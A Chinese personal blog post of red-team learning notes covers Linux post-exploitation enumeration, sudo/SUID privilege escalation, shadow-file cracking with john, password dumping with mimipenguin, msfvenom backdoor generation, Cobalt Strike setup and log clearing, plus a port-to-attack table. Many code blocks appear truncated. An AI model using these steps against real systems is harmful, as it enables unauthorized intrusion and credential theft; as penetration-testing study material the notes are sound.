grep -l -i pass /var/log/*.log | 查询包含 pass 的日志并打印匹配到的行 |
ls -la /etc/*.conf | 列出 /etc/ 下的所有配置文件 |
lsof -i -n | 列出打开的文件 |
head /var/mail/root | 答应 /var/mail/root 的开头 |
服务信息
命令 | 作用 |
---|---|
ps aux | 查看进程信息 |
cat /etc/inetd.conf | 由 inetd 管理的服务列表 |
cat /etc/xinetd.conf | 由 xinetd 管理的服务列表 |
cat /etc/exports | nfs 服务器的配置 |
作业和任务
命令 | 作用 |
---|---|
crontab -l -u %username% | 显示指定用户的计划作业(需要 root 权限) |
ls -la /etc/cron* | 计划任务 |
top | 列出当前进程 |
网络、路由和通信
命令 | 作用 |
---|---|
/sbin/ifconfig -a | 列出网络接口信息 |
cat /etc/network/interfaces | 列出网络接口信息 |
arp -a | 查看系统 arp 表 |
route | 打印如有信息 |
cat /etc/resolv.conf | 查看 dns 配置信息 |
netstat -an | 打印本地端口开放信息 |
iptables -L | 列出 iptable 的配置规则 |
cat /etc/services | 查看端口服务映射 |
软件信息
命令 | 作用 |
---|---|
dpkg -l | 软件安装(Debian) |
rpm -qa | 软件安装(Red Hat) |
sudo -V | 查看 sudo 的版本信息 |
httpd -v | 查看 apache 的版本信息 |
apache2 -v | 查看 apache 的版本信息 |
apache2ctl (or apachectl) -M | 列出加载的 apache 模块 |
mysql —version | mysql 的版本信息 |
psql -V | Postgres 数据库的版本信息 |
perl -v | perl 的版本信息 |
java -version | java 的版本信息 |
python —version | python 的版本信息 |
ruby -v | ruby 的版本信息 |
find / -name %program_name% | 查找有用的软件 |
which %program_name% | 查找有用的软件 |
cat /etc/apache2/envvars | 查看运行 apache 的帐号 |
1 | 再备份一个其他版本的 |
linux搜集流程参考
来源:江苏智慧安全可信技术研究院
前期
啥也不知道,就知道一个目标
1 | nmap |
中期
已获得低权限机器控制权
1 | 摸清系统版本 |
获得内核版本后,即可去搜索是否该版本下存在漏洞,比如
1 | searchsploit -w 系统版本 |
若该版本不存在漏洞,则找系统信息为主,查看用户信息
1 | id |
比如suid文件或者sudo提权(DC靶场都有记录:suid文件这个稍微绕一点,通俗来说,它允许用户使用者以文件所有者的权限来执行文件;sudo提权也就是其他用户通过sudo短暂获取root的某个命令权限,比如sudo vi
然后执行:!/bin/bash
,皆可获得root权限的shell)
补充:已知的可以用来提权的Linux可执行文件有:
CopyNmap、Vim、find、Bash、More、Less、Nano、cp
1 | 查找find命令,实在太多参数了,用到再查 |
查看当前用户执行哪些 sudo 命令无需密码
1 | sudo -l |
提权方案: https://gtfobins.github.io/
牛的,这个网站
开机启动项作为比较关键的点,无论是红方还是蓝方都不会放过。
1 | chkconfig # 查看开机启动服务命令 |
后期
成功提权,进行信息收集,寻找横向渗透机会
1 | 查看进程,推测机器作用 |
1 | 安装了哪些程序?什么版本?是否正在运行? |
1 | 在查看一些常见的服务配置文件 |
查看文件日志:如果时间充足,看一看日志文件也是很好的选择,这里就不多阐述,在之后的蓝队篇中会介绍。作为最高权限用户,shadow文件不可不看,万一跑出几个密码,横向渗透的成功率就会大大提高,将passwd和shadow文件下载到kali中进行unshadow,随后john爆破hash
1 | mkdir /root/.john |
1 | 除了shadow意外也可以看一看其他敏感文件,比如数据库的配置、历史记录等 |
1 | 邮件也是一个关键点,某些场景下,可以发现非常敏感的信息。 |
1 | 除了本机器上的信息还要为拿下内网的其他机器做准备,摸清网络拓扑是必须的。 |
以上流程只有实践才可更深层次掌握。
参考链接
1 | https://www.xazlsec.com/index.php/archives/146/ |
msf、empire等工具简单用法
上述工具都有接触,我也算是刚刚入门,真正接触信安红队知识也是在2021年的10月左右,希望加把劲,冲起来。
msf
metasploit下针对linux的信息收集一件模块
post模块,牛的来
检查虚拟机配置
枚举配置
该enum_configs上普遍安装的应用程序和服务,如Apache,MySQL和桑巴,Sendmail的,等发现模块收集配置文件如果在默认路径中找到一个配置文件,该模块将认为是我们想要的文件。
枚举网络
所述enum_network从目标系统模块枚举网络信息的防火墙规则,接口,无线信息,打开和监听端口,活动的网络连接,DNS信息和SSH信息。
枚举保护
该enum_protections模块试图找到某些安装的应用程序,可用于防止,或发现我们的攻击,这是通过查找特定的二进制文件,看看他们是否确实可执行文件。例如,如果我们能够将 ‘snort’ 作为命令运行,我们假设它是我们正在寻找的文件之一。该模块旨在涵盖各种防病毒、rootkit、IDS/IPS、防火墙和其他软件。
枚举系统
该enum_system模块收集系统信息。它收集已安装的包、已安装的服务、挂载信息、用户列表、用户 bash 历史记录和 cron 作业
用户具体信息HISTORY
该enum_users_history模块收集用户的具体信息。用户列表、bash 历史、mysql 历史、vim 历史、lastlog 和 sudoers。
mimipenguin
linux下抓取登录用户密码
windows下有Mimikatz,现在linux下有了mimipenguin
1 | git clone https://github.com/huntergregal/mimipenguin.git |
很奇怪,我没抓出来我自己的密码哈哈,可能超过版本了,这个说是通过了kali的4.3.0,我都5.1多了,不想解决先
CS
cs基础:配置teamserver
哦豁,这个我很需要
先从基础的来,插播一个后门生成的工具哈哈哈,我不知道该放去哪里,反正可以和cs联动,那就放在这里吧
1 | 进入msf: |
msf生成后门,不一定要用cs的生成,但是谁又能拒绝一个自动化生成后门呢
1 | msfvenom |
一些命令
1 | 查看msfvenom支持的系统 msfvenom -l archs |
常见生成格式
1 | windows: |
进入正题,CS!
不懂我的虚拟机怎么又被重置了,烦死了。。。又要重新装,装好了,哈哈,直接就是chmod 777 teamserver
就好,再./teamserver 服务器ip 密码
cs文件介绍
1 | agscript:扩展应⽤的脚本 |
目录
1 | 我是没找到。。g |
cs清除日志
1 | 这个我倒是有,但是我真的很少用,我也没配置我的云服务器,很难受 |
类似于cs的一些基本操作,cs都有文档的,这里就当作背诵记录一下
最基本的就是创建监听器
1 | 监听器-> listeners |
1 | 详细版 |
加载本地插件.cna
1 | emm就是汉化版就很nice |
服务端加载
1 | 加载方法: |
关于我华为云服务器终于安装好外网teamserver!
centos8全线崩溃,说是不提供服务了喔,然后我又找了一些办法, 结果直接整到镜像损坏,无奈只好重装一个centos7.6的,不错子,完美,按照下面教程就好,最好再装一个mobaXterm
,可以直接传文件,good!
CentOS 7.6 搭建 cobalt strike 教程_king 丶 - 程序员秘密_centos 安装 cobaltstrike - 程序员秘密 (cxymm.net)
搞了个后台在线,不错子
可以继续往下走了
对于受害机器的操作
这里太抽象啦,等我打一下
Empire
安装遇到最大的问题就是python的依赖问题,kali里面环境有点复杂,我出来wsl装,目前还没有安装成功,现在最接近的一步是
1 | python2 ./empire |
不装也罢!
参考链接
1 | https://mp.weixin.qq.com/s/0-UpfCvUVzXZkTAEHHrdhQ -msf |
信息收集
这里是顺带提一嘴的,其实对于现在的我来说,这些东西真的已然知晓,但还没有真正对一企业进行渗透测试,所以信息收集流程还是需要记忆一下,不然等下只知道开扫,不懂哪里入手
被动信息搜集:IP地址段 、域名信息 、邮件地址 、文档图片数据 、公司地址 、公司组织架构 、联系电话 / 传真号码 、人员姓名 / 职务 、目标系统使用的技术架构 、公开的商业信息
,是不与目标直接交互 , 通过公开渠道可获得的可用的信息。
对象
1 | 首先收集企业资产:fofa shadon 天眼查看名下资产再去fofa |
网站操作类型识别
1 | windows :不区分大小写 |
网站指纹识别工具
1 | 这个我的edge收藏夹就有很多,但是都是很零碎,顶多按照顺序分类了一些 |
目录扫描 / 敏感文件扫描
目前来说,爆破目录我没有出什么东西,全都是靠扫描器进行目录爆破,我用xray
1 | 这个有个7kbscan,号称扫天扫地的存在,感觉emm一言难尽,还得看计算机性能,凡是要我自己找特征文件的扫描器不是好的扫描器 |
IP 查询
1 | 找真正的ip,可以命令:ping nslookup使用全国ping,去规避cdn |
whois 查询
1 | 站长工具 |
子域名查询
1 | 7kbscan:web路径暴力探测工具 |
端口扫描
1 | nmap |
常见端口
1 | https://www.cnblogs.com/bmjoker/p/8833316.html |
21 | ftp/tftp/vsftpd 文件传输协议 | 爆破 / 嗅探 / 溢出 / 后门 |
---|---|---|
22 | ssh 远程连接 | 爆破 /openssh 漏洞 |
23 | Telnet 远程连接 | 爆破 / 嗅探 / 弱口令 |
25 | SMTP 邮件服务 | 邮件伪造 |
53 | DNS 域名解析系统 | 域传送 / 劫持 / 缓存投毒 / 欺骗 |
67/68 | dhcp 服务 | 劫持 / 欺骗 |
110 | pop3 | 爆破 / 嗅探 |
139 | Samba 服务 | 爆破 / 未授权访问 / 远程命令执行 |
143 | Imap 协议 | 爆破 |
161 | SNMP 协议 | 爆破 / 搜集目标内网信息 |
389 | Ldap 目录访问协议 | 注入 / 未授权访问 / 弱口令 |
445 | smb | ms17-010 / 端口溢出 |
512/513/514 | Linux Rexec 服务 | 爆破 / Rlogin 登陆 |
873 | Rsync 服务 | 文件上传 / 未授权访问 |
1080 | socket | 爆破 |
1352 | Lotus domino 邮件服务 | 爆破 / 信息泄漏 |
1433 | mssql | 爆破 / 注入 / SA 弱口令 |
1521 | oracle | 爆破 / 注入 / TNS 爆破 / 反弹 shell |
2049 | Nfs 服务 | 配置不当 |
2181 | zookeeper 服务 | 未授权访问 |
2375 | docker remote api | 未授权访问 |
3306 | mysql | 爆破 / 注入 |
3389 | Rdp 远程桌面链接 | 爆破 /shift 后门 |
4848 | GlassFish 控制台 | 爆破 / 认证绕过 |
5000 | sybase/DB2 数据库 | 爆破 / 注入 / 提权 |
5432 | postgresql | 爆破 / 注入 / 缓冲区溢出 |
5632 | pcanywhere 服务 | 抓密码 / 代码执行 |
5900 | vnc | 爆破 / 认证绕过 |
6379 | Redis 数据库 | 未授权访问 / 爆破 |
7001/7002 | weblogic | java 反序列化 / 控制台弱口令 |
80/443 | http/https | web 应用漏洞 / 心脏滴血 |
8069 | zabbix 服务 | 远程命令执行 / 注入 |
8161 | activemq | 弱口令 / 写文件 |
8080/8089 | Jboss/Tomcat/Resin | 爆破 / PUT 文件上传 / 反序列化 |
8083/8086 | influxDB | 未授权访问 |
9000 | fastcgi | 远程命令执行 |
9090 | Websphere 控制台 | 爆破 /java 反序列化 / 弱口令 |
9200/9300 | elasticsearch | 远程代码执行 |
11211 | memcached | 未授权访问 |
27017/27018 | mongodb | 未授权访问 / 爆破 |
...
...
本博客所有文章除特别声明外,均采用CC BY-SA 4.0 协议 ,转载请注明出处!